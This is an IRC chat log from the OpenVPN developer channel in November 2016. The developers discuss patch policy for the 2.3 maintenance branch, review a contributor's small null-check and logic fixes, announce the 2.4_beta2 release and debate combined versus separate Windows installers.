Hostage negotiation M$ Style 16:53 < SviMik> I'm not sure now, shall I send any pathes for 2.3 after all words you said? if it's not gonna be applied, then I'm not gonna waste my time... 16:54 < danhunsaker> Some patches are still helpful. Bugfixes are always helpful, especially security fixes. 17:00 < slypknot> SviMik: you realise how small the true dev team here is ? they do a hell of a lot of work for the project and still provide better support for XP than M$ do. How much more can really be done ? 17:02 <@plaisthos> SviMik: especially routing/socket code has diverged so much that a lot ofpatches are not easy backporting 17:04 < SviMik> and I'm surprised that help is not welcomed here, just because I'm helping with things you are not "focused on" 17:04 <@plaisthos> you probably interpreting that work 17:05 <@plaisthos> our time we spent/can spent on OpenVPN development is already pretty thin 17:05 <@plaisthos> so we priorise things 17:05 <@plaisthos> and maintaining two active development branches is not something this projects wants to do 17:05 <@dazo> SviMik: 2.3 is in maintenance mode ... that means only important bug fixes will be added ... so if there is a bug, it will be fixed. in regards to the if() statement you noticed, it wouldn't surprise me if the compiler optimizes that out 17:05 <@plaisthos> so 2.3 gets only safe/non intrusive features 17:06 <@plaisthos> and for time reason we skip sometimes on backporting refactoring/cosmetic stuff like the stuff you brought up 17:06 <@dazo> SviMik: and why spend time doing more than important bug fixes in 2.3 when 2.4 is just weeks away .... now we do have a release schedule which have the goal of 2.4.0 being released by end of December 17:07 <@dazo> SviMik: please have a look at the commit log for release/2.3, and you'll spot what kind of fixes we backport 17:07 <@dazo> (and even less common is patches only for 2.3, even though there are a few of them due to only being relevant to 2.3 or to solve the same bug it needs a very different solution) 17:09 <@dazo> of course, if there are critical security issues, they will be tackled ... we might even apply patches to release/2.2 and upload just the source tarball in some extreme cases ... but the release engine is focused on a stable branch and a development branch. The stable branch shall be predictable and not change much, hence the bugfix priority and not really much new features 17:10 <@dazo> new features which eases migration to a newer releases can be considered though ... but this is always discussed on a case-by-case 17:13 < SviMik> okay, I probably wasn't clear. I can't and I don't blame the fact you are working on 2.4. I see why you're doing that, and I totally agree 17:13 < SviMik> and of course I'm not asking you to backport any features into 2.3 17:18 < SviMik> the question was - what if other people send some patches for 2.3? have you something against it? 17:19 <@dazo> unless it is an important fix for 2.3, we tell them to fix it in 'master' 17:19 <@dazo> if it is fixed there, and not important enough for 2.3 ... nothing will happen 17:20 <@dazo> (we'll just tell that it won't be included) 17:25 < SviMik> proxy_connection_io_status (const int status, int *rwflags_pc, int *rwflags_cp) // note the pc and cp order 17:25 < SviMik> ... 17:25 < SviMik> if (!proxy_connection_io_status (status, &rwflags_cp, &rwflags_pc)) // oops 17:25 < SviMik> - is it important fix for 2.3? 17:29 <@dazo> SviMik: at first quick glance, this looks correct to me ... the flip is based on rwflags being EVENT_READ or EVENT_WRITE 17:30 <@dazo> but I'd need to dig deeper into this to fully verify it ... but plaisthos might have some better understanding 17:31 < SviMik> if (script_security >= SSEC_SCRIPTS) // note: SSEC_SCRIPTS is defined as 2 17:31 < SviMik> ... 17:31 < SviMik> else if (script_security >= SSEC_PW_ENV) // note: SSEC_PW_ENV is defined as 3 17:31 < SviMik> ... 17:31 < SviMik> (if you didn't get it: a number that is larger than 2 is always larger that 3 as well, so the second statement will never be reached) 17:31 <@dazo> you need to provide source file and line numbers 17:31 < SviMik> - is it important fix for 2.3? 17:33 < SviMik> my comment went a bit weird, but code is self-explaining :) 17:35 <@dazo> if you're pointing at init.c ... it is just msg(M_WARN, ....) only ... so not really important (no complaints since the last change in 2013, so nothing critical) 17:35 < SviMik> dazo but you see the logic is broken there? 17:36 <@dazo> yes, but not something we'll spend time fixing for 2.3 only 17:36 < SviMik> constants are defined in misc.h @ 316 17:36 <@dazo> but yes, SSEC_PW_ENV should be checked before SSEC_SCRIPTS 17:37 < SviMik> and even if I make a patch, you still won't spend time to apply it? 17:38 <@plaisthos> in master it will be applied 17:38 <@dazo> if it is for 'master' it will be processed, and then we'll consider to cherry-pick it 17:38 <@dazo> (processed == patch review -> ACK/NAK -> apply on ACK) 17:39 <@plaisthos> note that this type of development is not specific for openvpn, other projects do it similar 17:53 < SviMik> these lines in ps.c looks suspicious for me. I can't say is it mistake or not, cause I don't fully understand how it works 17:53 < SviMik> 696 if (!proxy_connection_io_status (status, &rwflags_pc, &rwflags_cp)) 17:53 < SviMik> 702 if (!proxy_connection_io_status (status, &rwflags_cp, &rwflags_pc)) 17:57 < SviMik> it was called once it straight order, and once in reversed, which *visually* looks like a bug, but may be intentional as well... 17:58 < SviMik> *looks like a typo :) 18:03 <@dazo> SviMik: look closely at what proxy_connection_io_status() does with these flags, and consider that the order of these arguments depends on EVENT_READ or EVENT_WRITE 18:04 < SviMik> like I said, I can't say is it mistake or not, so I just bring it here. if it's not, then sorry for false positive :) 18:06 <@dazo> and also consider that these code paths have not been altered since 2006 ... and even though --port-share isn't extremely common, there are many using it ... and I'd expect a bug report on this during 10 years 18:09 < Thermi> I'm using port-share and I'm going to be hella mad if it breaks 18:10 < Thermi> ! 18:10 < SviMik> hi Thermi :) 18:12 < Thermi> >:D 18:13 < SviMik> I'm trying to fix 2.3, and these guys don't allow me to do that! :D 18:13 < SviMik> (just kidding) 18:13 < Thermi> It's GPL'ed. 18:51 < SviMik> http://svimik.com/ovpn_bugptr1.png 18:52 < SviMik> using pointer before checking it :) 18:52 < SviMik> that's 2.4 19:23 < slypknot> SviMik: are you logged into this channel 24 hours a day ? if so, do you read the discussions ? 19:24 < SviMik> 1) no 2) see 1 19:24 < slypknot> do you have a computer on 24 hours a day ? 19:24 < SviMik> I read mailing list only 19:25 < slypknot> the mailing list misses the finer details and only gives many of the final decisions .. 19:25 < SviMik> slypknot no. I can install BNC on a server, but too lazy for that 19:25 < slypknot> run a raspberry pi and login 19:26 < slypknot> as you run a vpn server 24/7 use that 19:29 < SviMik> is reading this channel 24/7 required? perhaps a logging bot would be useful here... 19:29 < slypknot> not required .. but will give you some more insight :) 19:29 < slypknot> recommended 19:32 < slypknot> you could even run linux in a Virtualbox VM under a windows XP box 19:33 < slypknot> on a celeron chip with 1gb ram 19:33 < slypknot> and a 40gb hd 19:38 < danhunsaker> IRC consumes virtually no resources. I use a cloud-based client, myself, so it's always connected and logging, and I can connect from pretty much anywhere without any trouble and catch up. 19:38 < SviMik> I have few remote machines. I could probably even set up a bot for logging... 19:39 < slypknot> yup .. no need to be lazy ;) 19:43 < SviMik> slypknot http://svimik.com/procrastination-flowchart.jpg 19:46 < slypknot> looks like you just answered *all* your own complaints about 2.3 >:) 20:02 <@dazo> "Procrastinators unite .... tomorrow!" 20:06 < SviMik> dazo can you check is it ok to send? http://svimik.com/0001-Fix-using-a-pointer-before-checking-against-null.patch 20:07 < SviMik> dazo I've fixed the screenshot above, and two more places 20:14 <@dazo> SviMik: a NL is missing between Subject and body of commit message ... unrelated whitespace issue in buffer.c ... otherwise, it looks reasonable .... *but* I've only looked at it for less than a minute, and I'm soon about to fall asleep behind the keyboard - so this is not a proper review 20:17 <@dazo> SviMik: oh ... the coding style in regards to if(h) looks odd ........ also wondering if it would make more sense to just do: if (!h) goto done; .... and introduce a 'done' label towards the end .... makes the patch easier to read 20:17 <@dazo> SviMik: also consider if h should always be present. If so, using ASSERT (!h) would be even more appropriate 20:17 < SviMik> I thought goto is devil 20:19 <@dazo> goto can be evil, but if it is to "exit this function and skip all the crap in between", it is reasonable 20:19 <@dazo> but if you do goto's to labels you have passed (going backwards), that is pure evil 20:20 < SviMik> dazo changed "if(h)" to "if (h)" - is that what you meant? 20:20 <@dazo> {} should go on separate lines, indented 20:20 <@dazo> (in addition) 20:20 < SviMik> ah, right... 20:21 <@dazo> pay a close look to what the surrounding code does, and do it as close as possible 20:22 <@dazo> (the coding style is messy and inconsistent currently, but we try to keep the same style as far as possible within each function and preferably each file) 20:23 <@dazo> (once 2.4_rc1 have been released, we will apply some code style clean-ups ... unifying it to allman style 20:24 < SviMik> dazo updated (same link) 20:25 < SviMik> the whitespace issue in buffer.c was editor autoformatting... still fighting against it 20:25 <@dazo> commit messages ... they are two-fold. One single line with a short summary, then a blank line, and then the commit message body where more details are explaining what's happening. Now everything happens in the subject line 20:28 < SviMik> didn't get it... there is one single line which is Subject, and then goes a line with detailed description 20:29 < SviMik> need moar lines? 20:29 <@dazo> just looking closer at the 'if (h)' stuff .... CMSG_FIRSTHDR() cannot return NULL in our case. mesg is declared on the stack when entering port_share_sendmsg(), and CMSG_FIRSTHDR() will just extract some data from mesg 20:30 <@dazo> SviMik: do a 'git format-patch HEAD~1' ... and compare with what you have (contents will be different, but you should spot the difference) 20:31 < SviMik> but it is git format-patch HEAD~1 :( 20:31 <@dazo> duh ... try HEAD~2 then :) 20:31 * dazo is too tired ... needs to head for bed very soon 20:34 * dazo need to go 20:34 < SviMik> dazo updated! 20:35 < SviMik> hope it's final 20:35 < SviMik> dazo http://svimik.com/0001-Fix-using-a-pointer-before-checking-against-null_v2.patch 20:47 < SviMik> sent 20:51 < SviMik> if patch arrives unscathed, then more fixes coming tomorrow :) --- Day changed Fri Nov 25 2016 01:12 <@mattock> I see we have a new tag 01:57 <@mattock> debian packages built, windows package building 02:06 <@cron2> mornin' 02:08 <@mattock> morning 02:08 <@cron2> SviMik: the rules for 2.3 are "bug fixes" (as in "a documented feature or platform is not working, or something is crashing") and "long term stability / compatibility changes" (rare, like the peer-id client side) - and the bug you spotted is a bug, undoubtedly, but in the "code cleanup" category, and we decided that we don't do refactoring-style changes in the middle of a release train 02:09 <@cron2> danhunsaker: actually you couldn't (backport 2.4 features to 2.3) - the route_gateway_ipv6 stuff needs APIs that XP just does not *have*. Which was the key turning point on "now we stop supporting XP" 02:17 <@mattock> windows tests running 02:18 <@mattock> cron2: any release highlights for beta2? 02:24 <@cron2> regarding the pointer check patch - it is mixing in multiple different things, and not all of them make sense. Like, push_remove_option() - "o" can never be NULL here, because that's part of the calling convention. The ps.c patch looks reasonable (though the ASSERT(h) could propably be left off, as CMESG_FIRSHDR can never return NULL anyway). The buffer.c change I need to look at more closely - 02:24 <@cron2> there's another patch already floating around if I remember right that just introduces the necessary ASSERT()s 02:25 <@cron2> mattock: poor man's NCP is *the* highlight, and "dhcp-option DNS6" 02:26 <@cron2> plus a few documentation fixes and code cleanup 02:26 < danhunsaker> cron2: SviMik is offline. 02:26 < danhunsaker> But I figured not all features would backport cleanly. 02:27 < danhunsaker> Just didn't wanna say so at the time since I'd already gone on at such length about it. 02:27 <@cron2> Thermi: if you use port-share, can you help test the cloexec() patches 02:28 <@cron2> danhunsaker: most "big" features will be complicated enough that you'd end up backporting 2.4... :-) 02:28 < danhunsaker> Completely agreed. 02:28 <@cron2> like the NCP stuff, which needs AEAD, which needs a fairly big crypto layer overhaul 02:29 < danhunsaker> Was attempting to explain release-based dev to someone who doesn't seem to grasp it. 02:29 <@cron2> DNS6 would actually be halfway doable, except that XP doesn't support user-settable IPv6 name servers (if I remember right) :-) 02:30 < danhunsaker> While leaving the door open for them to learn *why* release-based dev works the way it does. 02:30 < danhunsaker> I personally favor dumping support for any system no longer supported by its own maintainers. 02:30 <@cron2> because we're lazy bums, that's why! (and I have this habit of wasting HOURS every day on sleep, food, paid work, and such time wasting activities :) ) 02:31 < danhunsaker> (And Vista can't really be said to have ever had any *actual* support... ;) ) 02:52 <@mattock> ok, release out 02:53 <@cron2> \o/ 02:53 <@mattock> was a rather hasty job, but everything should be in order, and Windows tests passed 03:26 <@syzzer> very nice :D 03:27 <@syzzer> SviMik, cron2: I will send a patch for the memset calls before rc1 03:27 <@syzzer> had to focus on stuff for beta2 first 03:28 <@syzzer> (these memsets are *hardening*, we do not rely on them, so not something to panic about.) 05:55 < slypknot> mattock: which windows installer would you prefer tested i) 2.4_beta2-i601 or ii) 2.4_beta2-i902 ? (I want to send feedback regarding the registry not being propoerly updated) 06:00 < slypknot> nevermind .. it is 2.4_beta"1-i902 .. So i'll do 2.4_beta*2-i601 06:17 <@mattock> slypknot: all versions have that registry not updated problem, so it does not matter 06:17 <@mattock> I already created an issue about that in GitHub to openvpn-build issues 06:19 < slypknot> ok 06:20 < slypknot> do you have a link to the github issue ? 06:21 < slypknot> i presume it is here : https://github.com/OpenVPN/openvpn-build/issues 06:21 <@vpnHelper> Title: Issues · OpenVPN/openvpn-build · GitHub (at github.com) 06:22 < slypknot> but this still looks incomplete .. 06:33 <@mattock> https://github.com/OpenVPN/openvpn-build/issues/49 06:33 <@vpnHelper> Title: Value of exe_path in registry not updated during reinstall · Issue #49 · OpenVPN/openvpn-build · GitHub (at github.com) 06:33 <@mattock> there is already a proposal for the fix, but no actual code 06:39 < SviMik> next time someone says that my commit messages are not perfect... I'll show him this: http://svimik.com/gitcommits1.png 06:43 < SviMik> "commit files" is best commit message I've ever seen. 06:46 <@syzzer> I 06:47 <@syzzer> 've seen 'Mega commit 1', followed by 'Mega commit 2'... 06:47 <@syzzer> both comitting serverel 100s files with *lost* of changes 06:47 <@syzzer> tpying veyr hadr tody :( 06:50 <@plaisthos> kjkajfla 06:50 <@plaisthos> or fix 06:50 <@plaisthos> or changes 06:50 <@plaisthos> and then also the binary checked in 06:55 < SviMik> well, 'fix' a bit more descriptive than 'Mega commit 1' :D 07:04 <@cron2> SviMik: I've seen such commit messages in corporate sources that are never intended to be seen by outsiders... and because we all have, this is why we have a fairly draconian regime in OpenVPN 07:04 <@cron2> NO commits (to program source files) without public review, and only in exceptional circumstances without public ACK from someone halfway qualified to do so 07:05 <@cron2> (anyone could send an ACK, but not everyone understands the code basis enough to see if something harmless-looking might have suprising side-effects) 07:07 <@cron2> SviMik: as for your patch, you have missed my comments earlier today - some of these should not be necessary (like "checking o for being NULL") because if anyone calls it that way, it's a program bug 07:07 <@cron2> more review coming on the list, haven't checked all the surrounding code in all cases 07:07 < SviMik> cron2 my patch is based on fact that there *was* a check, just in wrong place 07:09 < SviMik> cron2 and I'm not bold enough to just remove such checking without being an expert of how the whole thing works 07:09 <@cron2> we have a few of those, and many are just plain silly - like commit 238cd6440312 for example 07:09 <@cron2> SviMik: yeah, but that doesn't mean the patch is good. Just blindly adding checks will not *break* anything, but will not make better code if the original check was silly to start with 07:09 < SviMik> cron2 instead, I just made the checking made in correct way. that's 100% harmless at least 07:10 <@cron2> as I said - it will not break anything (good) but sprinkling the code with unneccessary checks is not helping in creating more readable code - so for the "o" thing, the right fix is "check all callers, ensure that o can never ever be null, remove the extra check" 07:11 <@cron2> (it can never ever be NULL, otherwise we'd have seen crashes before which we haven't :) ) 07:13 < SviMik> cron2 okay, if you consider it a silly check - I trust you :) I can remove it, or replace with assert. which would be the correct way? 07:13 * cron2 points two lines up - "check all callers, ensure that o can never ever be null, remove the extra check" 07:14 <@cron2> a NULL pointer check after the pointer has already been referenced is definitely silly :-) - but whether the fix is "extra check" or "get rid of the check" depends on the potential callers, so that needs to be *checked*, and there is no globally valid answer 07:14 <@cron2> see the commit I've referenced - that was a similarily silly code block 07:20 < SviMik> in my code I prefer to check everywhere, because I can't be sure that tomorrow there won't appear a caller that forgets and pass a nullptr. but that's me... 07:21 < SviMik> cron2 what about two other places? 07:24 < SviMik> syzzer yesterday I've found a few places where memset() shall be replaced with memset_s(), and I was told that you're looking into it. are you? if not, I could submit a patch for that too 07:26 <@syzzer> SviMik: see my comment from a few hours ago :) 07:26 <@syzzer> yes, I'm both aware of this and looking into it 07:26 < SviMik> syzzer I've just joined this channel 07:27 <@syzzer> SviMik: ah, ok. My irssi autocompleted your name when I said it, so I assumed you were present at that time 07:28 <@syzzer> 10:20 <@syzzer> SviMik, cron2: I will send a patch for the memset calls before rc1 07:28 <@syzzer> 10:20 <@syzzer> had to focus on stuff for beta2 first 07:28 <@syzzer> 10:21 <@syzzer> (these memsets are *hardening*, we do not rely on them, so not something to panic about.) 07:30 < SviMik> yeah, I wasn't. why somebot like vpnHelper doesn't record a log? :) 07:30 <@dazo> SviMik: we love that people dig into the code and propose enhancements .... but when doing enhancements, it is important to see the change from a larger perspective. We want as little code as possible, being as correct and readable as possible ... that means: if you want to add a new check because similar checks exists later in the same code segment, ask yourself: Is this check really needed? Will this always be true or always false? Or 07:30 <@dazo> can it happen at _runtime_ that something calls the function with this code scope with unexpected values? 07:31 <@dazo> SviMik: that means you need to look into all the callers of the function as well, and often also callers of those callers again .... and if you end up with, this will always be true or always false, then you can rather remove checks than add new ones earlier in the same code segment 07:32 <@dazo> it's not that we don't see that your patch have some merits ... from an isolated point of view, it does. But we need to consider the broader perspective as well 07:34 < SviMik> I see 07:36 <@syzzer> SviMik: there were logs once, but they seem to be no longer updated :( 07:36 <@syzzer> https://secure-computing.net/logs/%23openvpn-devel.log 07:37 < SviMik> my thoughts was that if someone put a check there, then he has a reason for that. and it's more likely that someone forgot this check in later commits rather than it was initially a silly check approved 07:38 < SviMik> i.e. I was trusting existing code more than probably had to :) 07:41 <@cron2> SviMik: this code has been grown over 10+ years, and parts of it have been contributed by less experienced people (like, me, 6 years ago :) ) and did not have as in-depth review as should have been. 07:42 <@cron2> So, extra checks sneak in, because the (new) author is not aware of the overall layout, and functional contracts like "this can not be NULL here", etc. 07:42 <@cron2> C really should have functional contracts so the compiler can check the caller side... 07:49 < SviMik> and yeah, my patches are rather local, because I'm far from knowing how the whole thing works... and best I could (other than inspecting *all* the callers) is to make a safe edit that guaranteed to not break anything now or later 07:53 < SviMik> it's good that the commit is going to be reviewed and commented. while I gave an idea, someone more experienced can say how to do it right 07:54 < SviMik> and maybe save me a lot of time, if he is already sure how this function is called and which solution shall be applied if mine is wrong :) 07:57 <@dazo> Most of us who actually kickstarted the openvpn community development have grown a lot over those 6+ years ... we've done lots of mistakes, we've learnt a lot ... and our review/commit model have evolved over time .... often also to safeguard us from stupid mistakes 07:58 <@cron2> .oO(dazo even remembers to run t_client tests most of the time... *duck* *run*) 07:58 <@dazo> I would dare to say that the code entering OpenVPN today is of far higher quality than 6 years ago ... and OpenVPN, despite the code still having odd quirks and unreadable code paths, have improved a lot too 07:59 <@dazo> lol 07:59 <@cron2> +1 08:02 < SviMik> http://svimik.com/ovpn_ifelse_1.png 08:02 < SviMik> lol 08:02 < SviMik> I guess if fd is not != -1, then it *is* == -1 08:03 <@cron2> well... one could argue that this is another silly check, but it's actually (in combination with the errno != EEXIST) improving clarity what this check is about 08:03 <@cron2> getting cmoplaints that Changes.rst needs extra \\ to protect windows path names... 08:07 < SviMik> meh... you're boring 08:07 <@dazo> SviMik: laughing about *my* code!? ;-) .... the reason for the second -1 check is exactly what cron2 said .... I do that to explicitly say that when the previous call failed, then we check for a specific error code (from a different variable). I remember that patch fairly well (despite being over 6 years old), as it was discussed a bit 08:07 <@cron2> and thus, the war begins... 08:07 <@dazo> :) 08:07 < SviMik> there is even a return statement, which makes the 'else' unnecessary 08:08 <@dazo> fair enough 08:08 <@cron2> that thought came to me too... "it looks complicated" :) 08:08 <@dazo> SviMik: if I would review my own old code .... I would find a lot of improvements today :) 08:08 * cron2 gets fixup patches for his code from Selva all the time... :) 08:09 <@dazo> :) 08:10 * slypknot hopes that the new *Test* combined 32b+64b download is rolled back to separate downloads for final release ! 08:10 <@dazo> slypknot: I doubt so, to be honest 08:10 < slypknot> bloody annoying ! 08:10 <@cron2> slypknot: why? 08:11 < slypknot> I thought we had a discussion about that and it was decided to keep them sepate .. 08:11 <@dazo> unless there is considerable bugs with the combined approach which will be too much troubling for users 08:11 < slypknot> separate* 08:11 <@cron2> (*I* found it annyoing because my test system is a mess, but for users it's much easier to just pick the right one) 08:11 <@dazo> users shouldn't really care about if "is my system 32 or 64 bit?" 08:11 < slypknot> how many modern pcs are going to be 32 bit .. ? 08:12 <@cron2> we cannot abandon 32 bit completely, and having joint installers makes everyone's life easier - only one thing to maintain and upload, one thing to test, ... 08:12 <@dazo> well, there's still plenty of users running 32-bit Windows on 64-bit capable hardware .... for odd reasons (at least odd today, when 64-bit works fairly well) 08:13 * cron2 has 32 bit linux on a few machines... (running 64 bit windows VM in vmware...) 08:13 <@cron2> don't ask 08:13 < slypknot> It seems to me it was discussed but some unilateral thinking went unchallenged 08:13 < slypknot> well .. whatever 08:14 <@cron2> so what is actually your counterargument? 08:14 * SviMik has xp 08:14 <@cron2> why would we not do this, except for "the installer is bigger"? 08:14 < SviMik> don't ask 08:14 < slypknot> i just don't like it and i remember the discussion ending with .. separate downloads 08:14 <@cron2> we'll continue to maintain 2.3.x for a while, and will provide XP compatible installers 08:15 < slypknot> like i said .. whatever 08:15 < slypknot> don't waste time on me 08:15 <@cron2> "I just don't like it" is not the sort of argument that has much traction in a technical decision... if it makes the process for the *user* easier, that trumps "I don't like it" :-) 08:15 * slypknot has to go 08:15 <@plaisthos> I clean up a lot in socket.c 08:15 < SviMik> "the installer is bigger" - how bigger? 08:15 <@plaisthos> the first IPv4+IPv6 implemention was a bit short sighted 08:15 <@cron2> SviMik: I'd expect "about twice the size" 08:16 <@cron2> (since all the crap is in there twice) 08:16 < SviMik> cron2 and what is the original size? 08:16 <@cron2> http://build.openvpn.net/downloads/snapshots/ 08:16 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 08:17 <@dazo> openvpn-install-2.4_beta2-I601.exe 25-Nov-2016 08:04 3811048 08:17 <@cron2> grew from 2 MB / 2.3 MB to 3.8 MB joint 08:17 <@plaisthos> that is tiny for software nowadays 08:17 <@dazo> heck, even the average Android apps are bigger than that 08:17 < SviMik> well, not a catastrophy... 08:17 <@cron2> we need more high-dpi graphics in the gui 08:18 <@dazo> lol 08:18 <@dazo> visualizing the VPN traffic in 3D! 08:18 <@cron2> *want* 08:18 < SviMik> YES!!! 08:27 < Thermi> cron2: Sure, I can test those, if I get the patch and an openvpn I can apply them onto. 08:28 <@cron2> master, and a new patch will hit the list "this weekend" 08:28 < Thermi> Alright. 08:28 < Thermi> I'll see how much crashes and burns. :) 08:30 <@dazo> thx, Thermi! 08:31 < Thermi> yw 09:34 <@plaisthos> yeah 09:35 <@plaisthos> OpenVPN for Android is 8.1 MB 09:36 <@plaisthos> basicaly 6 times openvpn with statically linked OpenSSL/lzo 10:14 < SviMik> plaisthos because it contains binaries for arm64-v8a, armeabi-v7a, armeabi, mips, x86 and x86_64 14:52 < danhunsaker> cron2, slypknot, etc: To weigh in on the "combined vs split installer" convo, I've found that a supermajority of users don't even know whether they're using 32-bit or 64-bit Windows. Hell, a large portion of Linux users couldn't tell you, either. Nearly all Windows installers ship combined these days, to the point where it actually appears unprofessional, 14:52 < danhunsaker> and in a security software context, even suspicious, to ship them separate. There's a bit more overhead in the installer creation phase, and the installer itself is slightly larger (though usually smaller than the combined sizes of the separate installers, thanks to deduplication of non-platform-specific files, and compression), but the install phase 14:52 < danhunsaker> automatically determines which files to install, and does it quite intelligently these days. 14:52 < danhunsaker> So I don't really see what the potential drawbacks really are with a combined installer. 14:55 < Thermi> Just make the life worse for 32 bit users already. They deserve to suffer. 14:55 < Thermi> And for XP users 14:55 < Thermi> they chose the suffering 14:55 <@plaisthos> SviMik: I think I am the last person you need to tell details about OpenVPN for Android ;) 15:12 < danhunsaker> Thermi: There are still 32-bit processors out there... New ones... For really-low-power use cases... Use cases which would, nevertheless, benefit from OpenVPN installs quite immensely... Mostly mobile devices... 15:13 < SviMik> it's still interesting why Google Play didn't choose to detect architecture automatically, and either provide different packages, or strip unnecessary files automatically 15:13 < Thermi> danhunsaker: x86? 15:16 < danhunsaker> Thermi: Yes, x86. With Windows. 15:16 < SviMik> danhunsaker the third option would be an installer which could download the right package on-the-fly. it could detect XP users, 32-bit OS, etc... 4 options in total 15:17 < SviMik> and for advanced users we can provide four offline installers 15:17 < SviMik> I remember I've seen something like that... 15:17 < Thermi> danhunsaker: Blasphemy. 15:17 < danhunsaker> SviMik: I absolutely hate those types of installers. Loathe entirely. 15:17 < danhunsaker> Thermi: Yes, but nonetheless. 15:18 < danhunsaker> SviMik: That said, my hatred is insufficient cause to avoid... 15:19 < SviMik> danhunsaker I don't care if website gives the choise to dowload offline installer too, and clearly explains that the first option is online installer 15:19 < SviMik> I see no reason to hate anything in that case ^ 15:20 < SviMik> damn, even linux distro have netinstall images 15:21 < SviMik> which are small, and gives you the options what to download 15:21 < danhunsaker> I prefer combined installers because then I don't have to hope I grabbed the right one(s) when I go out in the field. I'm without Internet access in the field more often than with, especially while providing support. 15:22 < danhunsaker> I get that there needs to be a balance for many things, but (to me) OpenVPN isn't one of those. 15:23 < danhunsaker> It's so small as a combined installer as it is, you'd have more overhead with an online installer than a combined one. 15:23 < SviMik> danhunsaker and I'm with poor, low signal mobile internet in the field, without having installer pre-downloaded, and now I have to download your combined 2-in-1 via this gprs :) 15:24 < danhunsaker> You'd have to grab almost as much with the online installer in that scenario. The online installer itself, plus the specific installer for your platform, come out about the same. 15:24 < SviMik> ok, make the combined installer, but leave the choise to pick separate one manually. 15:28 <@dazo> Any software targeting users should have as least possible options as possible (but no less) ... that gives a good user experience .... in the moment a user needs to stop to think and to an active choice, in particular where we could detect this automatically, should be avoided as far as possible 15:28 <@dazo> ("user" in this case, includes even experienced sys-admins) 15:28 < SviMik> danhunsaker can't agree. online installer can be a simple OS detection + downloading code. OK, plus simple GUI, which doesn't make any difference if it's a simple winapi code. I believe it is possible to make it in less that 100kb 15:29 < SviMik> dazo a website can have a button like "Other options", which is pretty common today. 15:29 <@cron2> SviMik: so you're volunteering to write that, test it, and maintain it over the lifetime of OpenVPN on Windows? 15:29 <@cron2> "I WANT TO HAVE IT! YOU GO MAKE IT!" is the wrong answer here 15:30 <@dazo> but what is the core benefit? measure this up against how likely it is our users will use this option, coupled against the extra work we'll have to do to maintain such an infrastructure 15:30 <@dazo> cron2++ 15:30 <@cron2> (and if someone feels like working on the installer side, an auto-update feature would be far more useful than bickering about the colour of the installer bikeshed - useful and currently *missing* functionality, not "paint that bikeshed differently") 15:30 < SviMik> I'm just thinking what the alternatives could be 15:30 < danhunsaker> (Much better defenses than mine...) 15:31 < SviMik> I didn't say "go make it" 15:31 <@dazo> yes! auto-update would be truly a beneficial feature. 15:32 <@cron2> I have put some ideas in trac #769 a few weeks ago 15:32 <@cron2> it's not exactly *hard*, but it needs a few things designed properly, and then implemented and tested... 15:33 <@dazo> yeah 15:33 < SviMik> anyway, the xp and non-xp distros are already separated... so why not do make x86 and x64 separated too... 15:34 <@cron2> SviMik: do I hear a volunteer? 15:34 <@cron2> it is extra work. Someone has to do it. For every fucking release. 15:35 <@cron2> And THEN answer the user questions "why did it install the wrong thing?" or "why is the installer not working on my windows?" 15:35 <@cron2> nobody has brought a *technical* reason why we would want separate installers today (even on GPRS, 3.8 Mb are downloaded in under a minute) 15:36 <@cron2> so the argument "which is less work for the people who actually *do* the work" trumps 15:37 <@cron2> maybe we should just stop doing windows installer *at all*... so nobody can complain that we're doing it all wrong 15:37 <@plaisthos> SviMik: google reasoning is that apks might get tranfsered between devices or something 15:38 <@plaisthos> you can actually upload different apks for different archictures and Google Play will pick the right one 15:38 <@cron2> why should we care, really? this is open source, anyone can compile it himself 15:38 <@plaisthos> but also advices against it for small apks 15:40 <@plaisthos> cron2: you are optimistic about gprs 64 kBit/s :) 15:42 <@plaisthos> also especially for openvpn you might be in a chicken-egg situation where you need openvpn to get internet 15:43 <@cron2> well, ok, grps without edge will need quite a while indeed 15:43 <@plaisthos> a downloading installer will probably make want to us after getting that useless via a usb stick 15:43 <@plaisthos> ...make them want to kill us ... 15:43 < SviMik> plaisthos transferring apps? never heard of that... it's even impossible (officially) to download an apk there for manual installation... how this feature is exactly named? 15:44 <@plaisthos> from old to new device 15:45 <@plaisthos> https://developer.android.com/google/play/publishing/multiple-apks.html 15:45 <@vpnHelper> Title: Multiple APK Support | Android Developers (at developer.android.com) 15:45 <@plaisthos> the first note 15:45 <@plaisthos> "App restore across devices just works. 15:45 < SviMik> plaisthos is the device preserving the apk file after installation? I thought it's logical to clean it up (sorry, I'm not an android expert) 15:45 <@plaisthos> I think so 15:46 <@plaisthos> and installation is mainly copying the apk 15:46 <@plaisthos> the are not extracted 15:46 <@plaisthos> (apart from native libraries) 15:47 <@plaisthos> rest is streamed from the apk directly 15:48 < danhunsaker> deflate is a pretty simple format to stream... 15:48 < SviMik> plaisthos thanks for the link. that's interesting 15:51 <@plaisthos> danhunsaker: it is zip 15:51 <@plaisthos> you need the random access capability 15:51 <@dazo> \o/ 15:51 <@dazo> $ ./cli --version 15:51 <@dazo> OpenVPN cli 1.0 15:51 <@dazo> OpenVPN core 3.1.1 linux x86_64 64-bit built on Nov 25 2016 22:11:05 15:51 <@dazo> Copyright (C) 2012-2016 OpenVPN Technologies, Inc. All rights reserved. 15:51 <@plaisthos> dazo: :) 15:52 < danhunsaker> plaisthos: Indeed. ZIP uses deflate to compress, by default. 15:52 <@plaisthos> android also mixes compression algorithms in a zip 15:52 <@cron2> dazo: oh, wow, yet more version numbers... 15:52 <@dazo> hehe :) 15:52 <@plaisthos> depending on the file type 15:52 < danhunsaker> Fair enough, and smart. 15:53 <@dazo> I had to port the code from using polarssl-1.3 to mbedtls-2.3 .... so I'm sure I broke something along the way .... but it got built and I got a binary! :) 15:53 <@plaisthos> dazo: :) 15:53 <@plaisthos> dazo: you can also compile with openssl iirc 15:54 <@dazo> plaisthos: ehm ... yeah, if you have a recent enough openssl .... RHEL7 ships with openssl-1.0.1e ... while OpenVPN 3 requires at least v1.0.2 15:55 <@dazo> I try to make this building work without too much third-party add-ons outside the OS 15:55 <@dazo> so the only thing specially needed is a really bleeding edge asio library 15:56 <@dazo> (which is statically linked, in this case) 16:00 <@plaisthos> do we support inline auth-user-pass or not? I am confused about that 16:00 <@plaisthos> dazo: oh okay 16:02 <@dazo> plaisthos: I thought we had some patches enabling that ... but now I got really uncertain 16:03 <@dazo> hmmm ... I think that patch never hit the ML or never got an ACK 16:05 <@dazo> ahh, we only added it for --http-proxy-auth ... perhaps I'm confusing --auth-user-pass with that 16:05 <@dazo> --http-proxy-user-pass, I mean 